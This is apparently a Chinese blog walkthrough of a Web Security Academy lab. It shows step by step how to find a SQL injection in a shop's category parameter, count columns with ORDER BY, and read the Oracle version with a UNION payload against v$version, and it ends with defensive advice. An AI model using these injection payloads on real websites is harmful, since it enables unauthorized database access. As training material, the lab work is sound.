Web Security Academy 第三关:SQL 注入查询 Oracle 数据库版本

前言

大家好,本篇是 Web Security Academy 第三关:SQL 注入查询数据库版本 逐图逐步骤详细教程,全程和你提供的截图完全对应,一步一步带你复现通关。

另外,我之前已经发布过 Oracle 数据库基础用法的文章,对 Oracle 不熟悉的朋友可以先去看那篇补课,本文专注实战注入。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on Oracle
  • 注入点:商品分类 category 参数
  • 数据库:Oracle
  • 目标:页面回显完整数据库版本信息
  • 通关条件:显示指定版本字符串

步骤 1:进入关卡初始页面

首先打开靶场,进入第三关。页面顶部明确提示:Make the database retrieve the string: "Oracle Database 11g Express Edition..."

下方是商品列表,分类包括:All、Accessories、Food & Drink、Gifts 等。这一步确认:注入点在 category 参数


步骤 2:判断注入点 ------ 单引号测试

操作

在分类参数后直接加单引号:

plaintext

复制代码
category=Accessories'

页面结果

页面直接返回:Internal Server Error(500 错误)

请求包内容

plaintext

复制代码
GET /filter?category=Accessories%27 HTTP/2

响应:HTTP/2 500 Internal Server Error

结论

单引号破坏了后台 SQL 语句语法,存在字符型 SQL 注入


步骤 3:ORDER BY 1 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 1 --

页面结果

页面正常显示商品,无报错。说明当前字段数 ≥1。


步骤 4:ORDER BY 3 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 3 --

页面结果(对应截图)

页面再次返回 500 错误

请求包

plaintext

复制代码
GET /filter?category=Accessories%27%20order%20by%203%20-- HTTP/2

响应:500 错误。

结论

原查询字段数 小于 3


步骤 5:ORDER BY 2 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 2 --

页面结果(对应截图)

页面正常显示商品,无报错。

最终结论

原查询语句一共 2 个字段


步骤 6:构造 UNION 注入爆出版本

Oracle 版本查询核心知识

我之前文章讲过:

  • Oracle 查询完整版本使用系统视图:v$version
  • 版本信息字段:banner
  • Oracle 必须写 FROM,不能像 MySQL 省略
  • UNION 注入必须字段数、类型对齐

最终 Payload

plaintext

复制代码
category=-1' UNION SELECT banner,null FROM v$version--

Payload 拆解

  1. -1':让原查询结果为空,只显示我们注入的内容
  2. UNION SELECT:联合查询
  3. banner,null:刚好 2 个字段,与原查询对齐
  4. FROM v$version:Oracle 查版本必须的系统视图
  5. --:注释掉后面的 SQL 语句

步骤 7:通关成功

页面显示

页面顶部显示:Congratulations, you solved the lab!

页面直接回显完整版本:

  • Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
  • PL/SQL Release 11.2.0.2.0 - Production
  • CORE 11.2.0.2.0 Production
  • TNS for Linux: Version 11.2.0.2.0 - Production
  • NLSRTL Version 11.2.0.2.0 - Production

通关完成!


核心知识点总结

  1. 字符型注入判断:单引号触发 500 错误
  2. 字段数判断:ORDER BY 1→正常,2→正常,3→报错 → 共 2 字段
  3. Oracle 版本查询:SELECT banner FROM v$version
  4. UNION 注入必须:字段数一致、数据类型兼容
  5. 注释符:-- 闭合后面语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 禁止网站业务账号访问 v$version 等系统视图
  3. 输入过滤与 WAF 防护

对 Oracle 数据库结构、系统视图、权限管理还不了解的朋友,快去看我之前发布的 Oracle 数据库基础用法 文章,基础扎实,注入更快更稳!

相关推荐
Database_Cool_5 分钟前
阿里云 AnalyticDB MySQL 免运维实践:分析型数据库不需要专人运维
数据库·数据仓库·mysql·阿里云
小镇敲码人6 分钟前
MySQL事务介绍
android·数据库·mysql·adb
AIMath~8 分钟前
MongoDB数据库,MySQL数据库,Redis数据库,Milvus数据库对比分析与和核心总结
数据库·mysql·mongodb·milvus
憧憬成为java架构高手的小白15 分钟前
mysql(ai总结每章的知识)
数据库·mysql·oracle
彭祥.17 分钟前
基于SQLite与face_recognition的人脸库管理
数据库·计算机视觉·sqlite
一只fish18 分钟前
Oracle官方文档翻译《Database Concepts 26ai》第19章-应用与网络服务架构
数据库·oracle
ZC跨境爬虫25 分钟前
SQL学习日志_Day2_深入SQL语法与数据库层级结构
数据库·sql·学习·oracle
智塑未来26 分钟前
2026轻量化图形引擎生态白皮书:PG官网发布渠道与分布式PG数据库架构全面解析
数据库·分布式·数据库架构
阿坤带你走近大数据28 分钟前
Postgresql的介绍
数据库·postgresql·关系型数据库
仙俊红28 分钟前
事务消息是什么
jvm·数据库·oracle